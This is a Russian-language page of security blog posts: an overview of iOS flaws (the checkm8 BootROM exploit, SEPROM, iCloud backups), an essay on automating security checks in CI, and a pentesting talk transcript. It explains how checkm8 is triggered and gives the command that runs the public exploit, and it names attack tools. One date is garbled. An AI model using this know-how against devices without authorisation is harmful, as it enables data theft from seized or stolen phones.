Русский
Русский
English
Статистика
Реклама

Пентест

Так ли безопасен ваш iPhone? Обзор уязвимостей и тайных ходов в iOS

03.08.2020 12:13:23 | Автор: admin
Пользовательские данные не являются разменной монетой. Компания Apple потратила значительные усилия для того, чтобы заслужить себе репутацию, стойко отбиваясь от ФБР и прочих представителей силовых структур, ищущих возможность произвольного сбора данных владельцев iPhone.

В 2016 г. Apple отказалась ослабить защиту iOS для того, чтобы ФБР могла разблокировать iPhone стрелка из Сан-Бернардино. Завладев смартфоном Сайеда Фарука и промахнувшись десять раз с набором четырехзначного PIN кода, правоохранители тем самым заблокировали смартфон. Тогда в ФБР потребовали, чтобы Apple создала специальную ОС, в которой возможно подобрать код безопасности методом перебора



Поначалу все складывалось не в пользу Apple, окружной суд Соединенных Штатов по Калифорнии встал на сторону силовых ведомств. Apple подала апелляцию, началась волокита, и в итоге заседания судебное разбирательство на этом прекратилось по инициативе ФБР.
В конце концов, федералы добились своего с помощью Cellebrite частной израильской компании, специализирующейся в цифровой криминалистике, заплатив за это дело более миллиона долларов США. К слову, в смартфоне ничего не нашли.
Странным образом четыре года спустя история повторилась почти точь-в-точь. В январе 2019 г. не абы кто, а Генеральный Прокурор США Уильям Барр попросил компанию помочь следователям получить доступ к содержимому двух iPhone, использованных во время стрельбы в военно-морской авиабазе в Пенсаколе, штат Флорида, в декабре 2019 года. Не удивительно, что из Apple последовал очередной отказ.

Стоит подчеркнуть, что в обоих случаях речь шла не об одноразовой передачи информации со стороны Apple. С этим как раз все в порядке, компания передает метаданные, резервные копии с iCloud при официальных и санкционированных запросах правоохранительных органов. Отказ встречают требования создать и предоставить универсальную отмычку, особую прошивку iOS, позволяющей разблокировать конфискованные смартфоны.
Именно это обстоятельство вызывает наибольшее противодействие руководства Apple и лично CEO Тима Кука, которые резонно полагают, что нет и не может быть доброкачественных бэкдоров, и что комплексная защита своей мобильной платформы бывает лишь первой свежести. Отмычка в хороших руках очень скоро становится отмычкой в руках сомнительных, а возможно, она там будет и с самого первого дня.
Итак, мы теперь знаем, что iOS не имеет специальных лазеек, созданных для силовых структур. Означает ли это, что iPhone неуязвим для проникновения и кражи данных?

BootROM уязвимость checkm8


В конце сентября 2019 г. исследователь информационной безопасности с ником axi0mX опубликовал на Github ресурсе код эксплойта практически для всех устройств производства Apple с чипами версий A5 A11. Особенность найденной уязвимости состоит в том, что она находится на аппаратном уровне и никакими обновлениями ПО её невозможно устранить, так как она прячется в самом механизме защиты безопасной загрузки BootROM, a. k. a. SecureROM.


Модель загрузки iOS с презентации Apple на WWDC 2016 г.

В момент холодной загрузки первым из read-only памяти запускается SecureROM, причем это самый доверенный код в Application Processor и поэтому он выполняется без каких-либо проверок. В этом кроется причина того, что патчи iOS тут бессильны. И также крайне важно, что SecureROM отвечает за переход устройства в режим восстановления (Device Firmware Update) через интерфейс USB при нажатии специальной комбинации клавиш.


Переход iOS в режим DFU.

Уязвимость Use-after-Free возникает, когда вы ссылаетесь на память после того, как она была освобождена. Это может привести к неприятным последствиям, таким как сбой программы, непредсказуемые значения, или как в данном случае выполнение стороннего кода.

Для начала, чтобы понять механизм эксплойта, нам нужно понять, как работает системный режим восстановления. При переходе смартфона в режим DFU в момент инициализации выделяется буфер I/O и создается USB-интерфейс для обработки запросов к DFU. Когда установочный пакет 0x21, 1 поступает по USB-интерфейсу на этапе USB Control Transfer, код DFU после определения адреса и размера блока копирует данные буфера I/O в загрузочную область памяти.


Структура USB Control Transfer Setup Packet.

Соединение по USB остается активным до тех пор, пока длится загрузка образа прошивки, после чего оно завершается в штатном режиме. Однако существует и нештатный сценарий выхода из режима DFU, для этого нужно отправить сигнал DFU abort по коду bmRequestType=0x21, bRequest=4. При этом сохраняется глобальный контекст указателя на буфер данных и размер блока, тем самым возникает классическая ситуация уязвимости Use-after-Free.

Checkm8 по существу эксплуатирует уязвимость Use-after-Free в процессе DFU, чтобы разрешить выполнение произвольного кода. Этот процесс состоит из нескольких этапов, но один из самых важных известен, как фэн-шуй кучи, который тасует кучу специальным образом, чтобы облегчить эксплуатацию уязвимости.


Запуск команды ./ipwndfu -p на MacOS.

В практическом плане все сводится к переводу iPhone в режим DFU и запуску простой команды ./ipwndfu -p. Результат действия Python скрипта состоит в снятии разблокирование с несанкционированным доступом ко всей файловой системе смартфона. Это дает возможность устанавливать ПО для iOS из сторонних источников. Так злоумышленники и правоохранители могут получить доступ ко всему содержимому украденного или изъятого смартфона.

Хорошая новость состоит в том, что для взлома и установки стороннего ПО, требуется физический доступ к телефону от Apple и кроме того, после перезагрузки все вернется на место и iPhone будет в безопасности это т. н. привязанный джейлбрейк. Если у вас на границе отобрали смартфон и затем вернули его, лучше лишний раз не испытывать судьбу и перезагрузиться.

iCloud и почти защищенные бэкапы


Выше уже было сказано, что в последнем противостоянии FBI с Apple из-за перестрелки в Пенсаколе, компания отдала в руки правоохранителей, резервные копии iCloud с телефонов подозреваемых. Тот факт, что в ФБР не стали воротить носом говорит о том, что эти данные, в отличие от заблокированного iPhone, были вполне пригодны для исследования.

Наивно полагать, что это единичный случай. Только за первое полугодие 2019 г. следователи 1568 раз получали доступ к почти 6000 полновесных резервных копий iCloud пользователей яблочных смартфонов. В 90% обращений из гос. структур компания предоставляла некоторые данные из iCloud, а таких обращений всего было около 18 тыс. за тот же период.

Это стало возможным после того, как Apple без лишнего шума два года назад свернула проект по обеспечению сквозного шифрования пользовательских резервных копий iCloud. Есть свидетельства в пользу того, что это было сделано после давления со стороны ФБР. Впрочем, есть также основания полагать, что отказ мотивирован желанием избежать ситуации, когда пользователи из-за забытого пароля не могут получить доступ к собственным данным iCloud.

В результате компромисса с силовыми структурами и пользователями возникла мешанина, в которой не очевидно, какие данные в iCloud надежно сокрыты, а какие так себе. По крайней мере, можно сказать, что сквозное шифрование применяется для следующих категорий.

  • Домашние данные.
  • Медицинские данные.
  • Связка ключей iCloud (включая сохраненные учетные записи и пароли).
  • Платежные данные.
  • Накопленный словарный запас QuickType Keyboard (необходима iOS v.11).
  • Screen Time.
  • Данные Siri.
  • Пароли Wi-Fi.

Все же остальное, включая Messages, возможно, могут прочитать сотрудники Apple и компетентные органы.

Новая уязвимость на аппаратном уровне


Китайская команда разработчиков Pangu Team неделю назад сообщила о найденной неустранимой неисправности, на этот раз в чипе SEP (Secure Enclave Processor). В зоне риска находятся все устройства iPhone процессорах А7-А11.

SEP хранит ключевую, в буквальном смысле слова, информацию. К ним относятся криптографические функции, ключи аутентификации, биометрические данные и профиль Apple Pay. Он делит часть оперативной памяти с Application Processor, но другая ее часть (известная, как TZ0) зашифрована.


Последовательность загрузки SEP.

Сам SEP представляет собой стираемое 4MB процессорное ядро AKF (вероятно, Apple Kingfisher), патент 20130308838. Используемая технология аналогична ARM TrustZone / SecurCore, но в отличие от нее содержит проприетарный код для ядер Apple KF в целом и SEP в частности. Он также отвечает за генерацию ключей UID на А9 и более новых чипах, для защиты пользовательских данных в статике.

SEP имеет собственный загрузочный ROM и он так же, как и SecureROM / BootROM защищен от записи. То есть уязвимость в SEPROM будет иметь такие же неприятные и неустранимые последствия. Комбинируя дыру в SEPROM с эксплойтом checkm8, о котором уже выше было сказано, можно изменить регистр отображения I/O для обхода защиты изоляции памяти. В практическом плане это дает возможность злоумышленникам заблокировать телефон без возможности его разблокировать.



Хакеры Pangu продемонстрировали, что они могут использовать ошибку в контроллере памяти, управляющем содержимым регистра TZ0. Всех деталей и исходного кода они не стали раскрывать, надеясь продать свою находку компании Apple.

Известный уже нам исследователь ИБ axi0mX написал в Твиттере, что уязвимостью в SEPROM можно воспользоваться лишь при физическом доступе к смартфону, как и в случае с checkm8. Точнее сама возможность манипуляций с содержимым регистра TZ0 зависит от наличия дыры в SecureROM / BootROM, так как после штатной загрузки iPhone изменить значение регистра TZ0уже нельзя. Новые модели iPhone с SoC A12/A13 не подвержены новой уязвимости.

Использованные материалы



Подробнее..

Пыщ-пыщ и pentest

16.11.2020 12:07:26 | Автор: admin

Современный подход к информационной безопасности

Люблю ИБ. С одной стороны бизнес часто требует выкатывать полусырые прототипы, с деплоем раз в час. С другой суровая и неприступная твердыня сотрудников информационной безопасности. На них все держится. И даже разработки в области IoT, где S это security становятся еще надежнее под их присмотром.

Ключевая проблема оценки диаметра дырок технологических отверстий в вашем продукте это время. Я хочу еще раз немного поговорить о классической пирамиде тестирования, но уже в разрезе информационной безопасности. А еще попробую поделиться опытом в организации построения удобного процесса, когда разработчики не ожидают неделями одобрения от ИБ, а ПО при этом не светится всеми возможными уязвимостями во внешний мир. Спойлер: можно выкатывать и без одобрения.

И список. Все любят списки. Отдам свой небольшой набор нужного ПО, который сильно скрашивает мои будни.

Если что-то скучное надо автоматизировать





Классическая пирамида тестирования. Где-то в основании многочисленные юнит-тесты, которые покрывают всякие мелочи, вроде проверки того, что приложение не падает, если пользователь вводит свой пароль на хинди. Или что-то еще странное отправил. А то были прецеденты с " h " на iPhone, если помните. Этот тип тестирования прекрасен своей автоматизацией, но покрывает только узкие кейсы, которые часто не в состоянии дать полной картины и уверенности в том, что приложение не потечет в неожиданном месте.

На самом верху уже полностью ручное тестирование. Кроме проверки стандартных кейсов оно может предусматривать свободное творчество, когда специалисту дается задача что-то сломать любым экзотическим способом на свой вкус. Как всегда, подобный творческий подход приводит к тому, что этот вид тестов является одновременно и самым дорогим. Не только в плане денег, но и пресловутого time-to-market, когда надо выкатить новые фичи вот-прям-вчера-на-совещании-уже-обещали.

Традиционная проблема, с которой сталкиваются многие компании долгие и печальные согласования по каждому пункту с ИБ. Не потому, что они такие злые и недружелюбные. Просто у них задача в минимизации рисков. Вот они и минимизируют как могут, попутно останавливая половину процессов в бутылочном горлышке своих проверок. Собственно в доаджайловые времена, когда можно было неторопливо полировать свой код это работало. А сейчас к твоему полированному решению первой версии уже выйдет 47 полусырых прототипов от конкурентов с monkey coders. И все. Ты уже проиграл рынок, все пользователи залипают в очередной Тик-Так.

Pipeline для всего подряд


На самом деле, чаще всего проблема в плохой интеграции процессов ИБ в уже привычные разработчиками пайплайны. Почему-то каждый пуш сопровождается множеством проверок со стороны того же flake8 и mypy, сам собирается в пакет, заливается в контейнер GitLab runner'а и радостно улетает протестированный в Artifactory. Или проваливает этап и возвращается на доработку.

И только информационная безопасность часто руками под лупой каждый релиз, пролистывая код и тыкая палочкой в открытые порты приложения. Мне кажется, что одно из оптимальных решений перенос основной части проверок безопасности в автоматический процесс, а ручное тестирование ограничить во времени. У ИБ остается право вето, если они находят критичную уязвимость, но по умолчанию приложение улетает в прод, если не было возражений с их стороны. Звучит на первый взгляд пугающе, но подобное построение процесса мотивирует максимально автоматизировать все рутинные процедуры и тратить время только на действительно сложные вещи.

Меня немного пугают эти аббревиатуры вида DevSecOps и прочие TriCeraTops, но это именно то, что чаще всего нужно организовать для снижения временных издержек. Давайте глянем на примере python. Начать стоит с линтеров. Я думаю, что почти все прикрутили те или иные варианты базовых линтеров вроде flake8 и mypy. Я тут еще бы порекомендовал расширенный вариант flake8 wemake-python-styleguide.

Устанавливается и запускается традиционно:
pip install wemake-python-styleguideflake8 your_module.py

Основная проблема этого линтера может вызывать желание разбить монитор клавиатурой поначалу. Особенно в старых легаси-проектах из разряда проще сжечь, чем исправить. Тем не менее, если исключить лишние проверки получите довольно суровый контроль за качеством базового кода.

После того, как мы проверили сам код на кривые конструкции, плохую читаемость и высокую цикломатическую сложность, стоит прогнать статический security-линтер. Да, в языках с нестрогой типизацией подобные линтеры не столь хороши, но они позволяют выявить типичные проблемы вроде password = 'qwerty123' в коде. Тут можно использовать тот же bandit.

Это все отлично работает, но проблема бесплатных решений чаще всего в менее актуальных базах уязвимостей. Чаще всего имеет смысл добавить еще что-то вроде safety.
image

Источник

Подобные варианты проверок обычно отлично интегрируются с тем же корпоративным GitLab.
При этом обычно есть хороший информативный вывод в консоль:
safety check --full-report

В идеале, после всех манипуляций, у вас должен появиться полный pipeline, где вы поэтапно проверяете все требования по безопасности к своему приложению.

image

Источник

Типовые проверки:
git secret check проверяем отсутствие открытых секретов в коде
SCA проверяем, что внешние зависимости и библиотеки не имеют уязвимостей. Важно, если вы замораживаете старую версию библиотеки
SAST статический анализ кода на уязвимости
Container audit аудит образа контейнера, который будет использоваться для деплоя. Они тоже часто бывают дырявыми. Особенно, если вы используете экзотические бутерброды из множества разношерстных слоев.
DAST деплой приложения, регистрация, логин под легитимным пользователем и проведение типовых атак на фронтенд

Что остается для ИБ


Теперь, когда мы разгрузили бесполезные мясные создания людей от рутинной работы, можно передать им те задачи, которые требуют по-настоящему творческого подхода.
Тут будет все тот же нестареющий арсенал из средств для анализа, сетевого тестирования и подбора паролей. Wireshark, hashcat, Hydra и остальные утилиты никто на пенсию не отправлял.

Но даже среди знакомых инструментов появляется что-то новое и иногда довольно полезное. Я предложу обратить внимание на некоторые из них.

Nikto2


github.com/sullo/nikto
Nikto это сканер веб-серверов с открытым исходным кодом. Он совершенно не тихий. Серьезно, если вы запустили его с рабочего места и в течение 15 минут вы еще не лежите лицом в пол в окружении сотрудников безопасности, то у вас проблемы с обнаружением вторжений.

Софт выполняет комплексные тесты на веб-серверах для множества элементов, включая более 6700 потенциально опасных файлов / программ. Он также проверяет элементы конфигурации сервера, такие как параметры HTTP-сервера, и пытается идентифицировать установленные веб-серверы и программное обеспечение. Элементы сканирования и плагины часто обновляются и могут обновляться автоматически.

Fuzzdb


Тоже очень крутой инструмент для автоматизированной атаки на веб-приложения с использованием типовых паттернов и уязвимостей. Радостно засыплет ваше приложение кучей стандартных атак и заодно проверит, не забыли ли вы прикрыть урезанными правами доступ к админке и лог-файлам. Позволяет снять много головной боли и рутинных проверок.

Nmap + Vulners




Vulners это агрегатор всевозможных CVE, вендорских бюллетеней безопасности, эксплойтов в Metasploit и просто результат ручного вылавливания уязвимостей на тематических форумах. По сути, они предоставляют API для запросов к своей БД. Меня просто покорил их плагин к всем известному nmap, который просто сразу дает веер готовых векторов атаки на веб-сервис. Очень рекомендую присмотреться.

Что-то вроде вывода



Смерть человекам слава роботам!

А если серьезно, то постарайтесь минимизировать рутину и передать ее тому, кто должен ей по-настоящему заниматься бездушным скриптам и пайплайнам. А люди пусть занимаются творчеством. Это правильнее.



Подробнее..

Анонс взрослый разговор о пентесте и хакинге

08.03.2021 20:18:48 | Автор: admin

ЗАВТРА, в 20:00 в наших соцсетях выступит Омар Ганиев, основатель компании DeteAct
и член российской команды хакеров LCBC. Омара можно смело назвать одним из самых лучших хакеров страны.

LCBC заняла первое место в финале международного турнира по компьютерной безопасности 0CTF в Шанхае в 2016 году.

Больше половины жизни Омар занимается взломом компьютерных систем. Для него это в первую очередь увлечение и основной жизненный навык, который постепенно стал работой, а уже затем основой для предпринимательства.

Помимо самой работы, Омара очень привлекает исследовательская стороны сторона этой деятельности, а также спортивная хакерские соревнования (CTF), в которых он много участвовал индивидуально и в составе различных команд.

Сейчас команда More Smoked Leet Chicken, членом которой является Омар, состоит из энтузиастов, работающих в разных компаниях и странах, и это сильнейшая в России и одна из сильнейших в мире CTF-команд.

Что касается компании DeteAct (официально ООО Непрерывные технологии), то она предоставляет услуги по анализу защищённости и тестированию на проникновение. Проще говоря, различные компании просят ребят взломать их системы для того, чтобы проверить их на прочность и узнать, как не допустить вредоносные хакерские атаки и потери для бизнеса.

Во время эфира обсудим, чем занимаются хакеры, работающие в легальном поле, что такое пентест, кто его заказывает и можно ли прожить в сети, не проверяя свою защищённость.




План выступления


Задавайте вопросы в комментариях и Омар ответит на них во время прямого эфира.

  • Чем занимаются хакеры, работающие в легальном поле, Что такое пентест, и кто его заказывает?
  • Насколько это сложная работа, и как проверить её качество?
  • Можно ли прожить в сети, не проверяя свою защищённость?
  • Какие уязвимости чаще всего можно обнаружить в софте и инфраструктурах компаний?


До встречи в эфире!



Подробнее..

Взрослый разговор о пентесте и хакинге

13.03.2021 16:07:18 | Автор: admin


На этой неделе в наших соцсетях выступал Омар Ганиев, основатель компании DeteAct
и член российской команды хакеров LCBC. Омара можно смело назвать одним из самых лучших хакеров страны.

LCBC заняла первое место в финале международного турнира по компьютерной безопасности 0CTF в Шанхае в 2016 году.

Больше половины жизни Омар занимается взломом компьютерных систем. Для него это в первую очередь увлечение и основной жизненный навык, который постепенно стал работой, а уже затем основой для предпринимательства.

Помимо самой работы, Омара очень привлекает исследовательская стороны сторона этой деятельности, а также спортивная хакерские соревнования (CTF), в которых он много участвовал индивидуально и в составе различных команд.

Сейчас команда More Smoked Leet Chicken, членом которой является Омар, состоит из энтузиастов, работающих в разных компаниях и странах, и это сильнейшая в России и одна из сильнейших в мире CTF-команд.

Что касается компании DeteAct (официально ООО Непрерывные технологии), то она предоставляет услуги по анализу защищённости и тестированию на проникновение. Проще говоря, различные компании просят ребят взломать их системы для того, чтобы проверить их на прочность и узнать, как не допустить вредоносные хакерские атаки и потери для бизнеса.

Делимся с вами записью и расшифровкой эфира.


Всем привет, меня зовут Омар Ганиев. Также я известен под никнеймом beched в хакерской среде. Я хакер, много лет занимаюсь проверкой безопасности компьютерных систем. Это стало для меня хобби еще в школе, а последние 9 лет это моя основная профессия. Последние 7 лет я работаю в стартапах в сфере информационной безопасности, сам являюсь основателем компании DeteAct, она же Непрерывные технологии. Сейчас нас 10 человек, мы хорошо растем и предоставляем услуги в области практической информационной безопасности. Тестирование на проникновение, анализ защищенности, прочие разновидности аудитов безопасности обо всем этом мы поговорим сегодня.

Пентест, тестирование на проникновение. Надо определиться, что это такое, потому что даже в сфере информационной безопасности, среди тех, кто пентестами и аудитами занимается, часто возникает путаница и непонимание терминологии. Часто оказывается, что разные люди под пентестом подразумевают разные вещи; особенно неприятно, когда эти люди заказчик и исполнитель услуг. Основные термины здесь аудит безопасности, тестирование на проникновение (penetration test, пентест), анализ защищенности (security assessment) и редтиминг (red team).

Аудит безопасности это наиболее общее понятие. Оно означает любой вид исследования безопасности объекта, проверку его соответствия требованиям безопасности необязательно информационной. Например, это может быть пожарная безопасность.

Пентест (тестирование на проникновение) это намного более конкретная штука, хотя и она может быть понята по-разному. Немедленная логическая ассоциация заключается в том, что пентест это проверка на то, можно ли проникнуть в какую-то систему, и результатом пентеста должен быть бинарный ответ да/нет: получилось ли проникнуть, или нет. Это одно из пониманий этой услуги то есть, проверяется, сможет ли потенциальный атакующий проникнуть в систему, добиться каких-то целей, допустим, за неделю или за две недели. В течение этого времени пентестеры пытаются ломать систему, и таким образом можно проверить уровень защищенности системы. Особенно это актуально в сфере комплаенса. Некоторые организации государственные организации, международные платежные системы могут требовать от компаний (банков, карточных эквайрингов) прохождения пентеста именно в таком смысле. Такой пентест должен проверить, получилось ли да или нет получить доступ к платежным данным. Если нет, то все нормально; если да, то все плохо.

Но есть и другое понимание пентеста, которое часто называют анализом защищенности. Это работа вширь: хакеры-пентестеры, вместо того, чтобы пытаться вглубь проникнуть к ресурсам, ищут как можно большее количество уязвимостей вширь. Чаще всего, все-таки, заказчики хотят видеть именно эту услугу. Им интересно не просто получить ответ (поломали или не поломали), а найти как можно больше дыр, чтобы закрыть их чтобы их в дальнейшем не поломали.
Редтиминг это похоже по значению на то, как работает пентест в смысле проникновения, но с некоторыми особенностями. Вообще, на тему того, что же такое редтиминг, ведется больше всего холиваров. Если кратко это такое мероприятие, при котором атакующая команда ставит своей целью нанесение определенного ущерба, достижение некоторых угроз или бизнес-рисков например, хищение средств, баз данных клиентов, почты руководителя (для каждой компании свой бизнес-риск, кому что критично). Перед командой атакующих практически не ставится ограничений (единственное ограничение рамки закона). В отличие от обычного анализа защищенности или пентеста, редтимеры могут достигать бизнес-рисков любыми методами: хоть проникнуть в офис и физически украсть бумагу с паролями или перехватить wifi. Защищающаяся сторона то есть, компания, которую тестируют тоже не ограничена. Безопасники, администраторы, разработчики, devops-ы сопротивляются этому тестированию, пытаются выявить атаки и предотвратить их. Таким образом, получается реалистичная тренировка и моделирование реальной ситуации. Учения, можно сказать.

Q: ради интереса: в каких странах более востребованы пентестеры, и откуда больше всего поступает заказов на проверку?

Самый широкий спрос на пентесты в США. Если второй вопрос по российским компаниям, то к ним больше всего заказов поступает именно из России. Этот рынок достаточно изолирован в каждой стране, сам по себе. Все стремятся заказывать такие услуги у тех, кого они знают, потому что это щепетильный вопрос; никто не хочет доверять свою безопасность кому-то из другой страны или незнакомому. С Запада, тем более, почти никто не будет заказывать такие услуги из России из-за санкций и плохой репутации.

Итак, мы примерно разобрались в пентесте и его разновидностях. Можно рассказать вкратце о том, как ведутся проекты и какая здесь методология. Тут надо сразу разделить методику проведения работ на так называемые ящики разного цвета. Можно проводить пентест в режиме blackbox (черный ящик) тестировщикам не выдается почти никакой информации об объекте исследования, кроме адреса сайта (или даже названия компании). Другая крайность whitebox (белый ящик), когда выдается вся информация. Если это инфраструктура, то выдаются все IP-адреса, схема сети, доступ во внутреннюю сеть (если необходимо), все hostname (доменные имена). Если это ПО, какой-нибудь веб-сервис, то выдаются исходные тексты, конфигурация, учетные записи с разными ролями и так далее. Наиболее распространенный режим greybox (серый ящик), это может быть что угодно в спектре от черного до белого. Какая-то информация выдается, но не вся. Например, для веб-сервиса могут быть выданы учетные записи с разными ролями, какая-то базовая информация о технологическом стеке: используемые языки программирования и базы данных, схема инфраструктуры сервиса. Но при этом не выдаются исходники.

После того, как определились с методологией, с режимом проведения работ, атакующей стороне даются вводные данные. То есть, если необходимо, выдаются доступы, адреса хостов и т.д. Атакующая сторона может выдать свои IP-адреса, с которых будут проводиться атаки, чтобы заказчик отличал их от реальных злоумышленников. Далее проводятся классические шаги пентестов; конкретная реализация и разбивка может отличаться, но, в целом, в начале должна быть проведена разведка. Пентестеры ищут точки входа в инфраструктуру хосты, сетевые сервисы, email-адреса. Если это web-сервис, то ищут API Endpoints различные web-интерфейсы, различные хосты API под домены и так далее. После того, как проведена разведка, наступает этап сканирования (phasing), когда проводится поиск уязвимостей в найденных интерфейсах. Когда уязвимости обнаружены, следующий этап эксплуатация: уязвимости используются, чтобы получить какой-то доступ. Дальше, в зависимости от того, какой это пентест, может проводиться постэксплуатация: продвижение вглубь системы и получение дополнительных доступов. Дальше может быть зачистка. Заказчик не всегда хочет, чтобы проводилась дальнейшая эксплуатация: иногда достаточно просто найти уязвимость и отрепортить ее.

Для того, чтобы было понятнее, что значит постэксплуатация: допустим, пентестеры нашли уязвимый сервер в инфраструктуре, доступный извне. Скажем, недавно вышли патчи для уязвимости в MS Exchange почтового сервера Microsoft, который почти у всех корпоратов стоит и торчит наружу. В нем обнаружилась критическая уязвимость. Эта уязвимость сама по себе дает огромный эффект: атакующие могут с ее помощью получить доступ к почте. Но, помимо этого, они могут осуществить постэксплуатацию и с этого почтового сервера дальше распространяться по инфраструктуре. Захватить какие-то еще серверы, инфраструктуру домена Windows Active Directory, попасть на рабочие станции сотрудников то есть, в инфраструктуру разработки. И так далее.

Q: какие минимальные вводные данные требуются от организации для пентеста и для аудита?


Минимальные вводные данные это название компании, то есть, их может практически не быть. Понятно, что на этапе разведки, когда мы по названию компании ищем хосты, или по адресу сайта ищем связанные с ним хосты, можно ошибиться и найти какие-то IP-адреса и хосты, которые не принадлежат этой компании. Поэтому после разведки обычно проходит согласование на всякий случай, чтобы не поломать чего-то лишнего. Ошибиться довольно легко.

Q: а в РФ есть реальные редтимеры с локпиком и кувалдами? :D

Я думаю, что такие навыки много у кого есть. Насколько востребованы такие проекты и насколько часто они выполняются я, если честно, не знаю. Чтобы требовалось прямо с отмычками ходить и перелезать через заборы. Наверно, такие проекты редко проводятся.
Q: как вы обходите Web Application Firewall или хотя бы Windows Defender? Что можете сказать про фреймворки Empire и Koadic, пользуетесь ли ими?

WAF мы обходим вручную, подбирая подходящий payload. Тут методики стандартные. Единственная сложность с WAF если это редтим, когда защищающаяся сторона препятствует атакам если мы свою атаку как-то спалим, или нас обнаружат при помощи каких-то средств защиты типа WAF, то нам могут прикрыть уязвимость. Поэтому нужно действовать аккуратно и проверять payload (т.е. свой эксплоит) на каких-то других хостах, где нет уязвимости. Таким образом, WAF получится проверить и обойти, но попутно не будет обнаружена уязвимость защищающейся стороной.

Q: какой софт нужен для атакующих и для защиты?

Какой софт нужен для защиты это огромная тема. Она намного шире, чем пентест. Какой софт нужен для атакующих это хороший вопрос, потому что это зависит от того, о каких работах мы говорим. Если мы говорим об анализе ПО, web-сервисов, то практически никакое ПО не требуется. Достаточно такого швейцарского ножа, как инструмент Burp Suite. Платная версия стоит $400 и содержит практически все необходимые инструменты. Плюс, конечно, любой рабочий язык программирования обычно у пентестеров это Python или GoLang. Этого достаточно.
Если говорить об инфраструктуре, о редтиминге там инструментарий гораздо шире. Нужны разнообразные сканеры уязвимостей, нужны инструменты для закрепления на системах: после того, как мы проломились в какую-то систему, нужно в ней закрепиться, нужно обфусцировать свой payload, чтобы он не был обнаружен антивирусом, и так далее.

Q: какие сферы в РФ больше всего просят отпентестить или провести аудит?

Видимо, речь про то, в каких индустриях наибольший спрос на пентест. Очевидно, что он нужен тем компаниям, в которых есть IT; чем более развито IT, чем это более IT-шная компания, тем больше нужен пентест. Примерно спрос этому соответствует. Для некоторых компаний пентест обязателен, потому что они являются частью критической информационной инфраструктуры: государственные предприятия и банки. Для банков пентест нужен по требованию Центробанка, и еще в рамках получения сертификата PCI DSS для международных платежных систем. Этот сертификат нужен и другим платежным организациям. То есть, платежные организации, субъекты критической информационной инфраструктуры и IT-компании требуют пентестов. То есть, любые IT-компании, включая стартапы, у которых вся инфраструктура это web-сервис с базой пользователей: для них критично, если их поломают.

Q: насколько важно понимание социальной инженерии при пентесте?

Я отдельно не упоминал ее. Я бы сказал, что это один из инструментов редтиминга; кроме того, зачастую социальная инженерия проводится отдельно, как отдельная услуга, и выглядит как простая рассылка. Мы делаем фишинговый сайт, ищем email сотрудников компании и рассылаем по ним ссылку на этот сайт с какой-нибудь легендой (например, это новый корпоративный портал, нужно всем обязательно зайти и ввести свой пароль).

Затем ведем статистику сколько человек просмотрело письмо, кликнуло на ссылку и ввело пароль. Показываем ее заказчику, и он понимает, с кем нужно проводить ликбез. Честно говоря, практически никаких навыков для такого тестирования не требуется, и компания сама способна легко провести его с помощью open source-инструментов, если речь идет про разовую рассылку. В целом, есть целый отдельный бизнес индустрия security awareness, повышение осведомленности людей в области информационной безопасности.

Есть специальные продукты, которые регулярно рассылают фишинговые письма по базе пользователей. Если человек повелся, то ему придет обучающее видео или другой интерактивный урок, который он должен будет пройти. А потом его еще раз проверят, и будет отслеживаться тренд например, год назад 50% сотрудников повелись на фишинг, а теперь только 5%. Конечно, полностью избавиться от опасности фишинга почти невозможно.

Насколько важно понимание оно важно, если вы проводите такие работы, но это достаточно легко. Или если вы проводите редтим, в его рамках очень действенны методы социальной инженерии. Но при этом они должны будут быть гораздо более аккуратными и точечными, конечно; это не может быть массовая рассылка по всем сотрудникам ее заметят и поймут, куда вы можете пытаться проникнуть. Нужно рассылать отдельным конкретным людям.

Q: из чего складывается стоимость услуги?

Отличный вопрос, потому что никто вам не ответит на него толком.

Это очень по-разному. Обычно пентест стоит сколько, сколько может заплатить заказчик, грубо говоря. Это один из коэффициентов. Проблема в том, что даже объем работы изначально будет не детерминирован особенно, если это blackbox. Мы изначально даже толком не знаем, сколько там будет хостов, интерфейсов. Мы можем только примерно понять, какого характера эта компания, какая у нее может быть инфраструктура и сколько нам понадобиться людей и времени, и из этого можно будет прикинуть трудозатраты в человеко-неделях. Если у нас есть какой-то фреймворк ценообразования, можно умножить человеко-недели на наш коэффициент и выдать это как цену.
На самом деле, все очень варьируется; часто, особенно в больших компаниях, продажник просто находит компанию, выбивает какой-то бюджет, и дальше нужно выполнить работы в рамках этого бюджета. И тут, скорее, трудозатраты подгоняются под цену, а не наоборот.

Могу еще сказать, что в итоге поскольку у нас непрозрачный рынок с непонятным ценообразованием стоимость работ может отличаться в разы при неизменном качестве и трудозатратах. Вы можете найти пентест за 300 тысяч и за 4 миллиона рублей при одинаковом объеме работ. Часто это видно даже на тендерах: есть ТЗ, смотришь, какие есть ценники и предложения разброс бывает в 5-10 раз. При том, что качество вряд ли отличается в 5-10 раз.

Раз уж мы заговорили про качество и цену пентеста. Нужно понимать, нужен ли вашей компании пентест а, если вы пентестер, нужно понимать, как обосновать проведение пентеста и продать его компании. Тут тоже нет универсального ответа. На мой взгляд, драйверы пентеста это несколько простых вещей. Один из них это комплаенс, о чем я уже говорил: когда от организации требуется проведение пентеста, и без этого не получится осуществлять бизнес-функции, вроде приема оплаты пластиковыми картами. Это понятно.

Другой драйвер это инциденты: когда компанию уже поломали, она понесла ущерб и спохватилась. Для того, чтобы защититься, нужно провести расследование, провести пентест, чтобы в дальнейшем не поломали, и провести другие мероприятия. Все начинают бегать и думать, что делать.

Третий драйвер это страх: допустим, инцидентов еще не было, но, может быть, они были у других членов отрасли, и компания боится. Еще один драйвер, который можно рассматривать совместно с драйвером страха это новые компании, например, стартапы, которые только начали какую-то разработку. Он подумали и решили, что надо сразу провести пентест, чтобы исправить уязвимости и не допускать их в дальнейшем. Чтобы к моменту, когда сервис станет публичным и, возможно, популярным, уязвимостей уже не было. Это самый здравый подход.

Еще один драйвер, очень распространенный у стартапов это требования контрагентов. Такая разновидность комплаенса, когда вы можете осуществлять свои бизнес-функции, но ваши контрагенты хотят проверить, что вы следите за своей безопасностью. Поэтому, если вы небольшая компания, которая хочет продавать, например, крупным западным компаниям, то вам обязательно придется пройти пентест. Особенно, если вы предлагаете SaaS (software as a service) тогда отчет о пентесте потребуют непременно. Это будет у них в гайдлайнах, их юристы и безопасники просто не допустят такого подрядчика, который не проходил пентест.

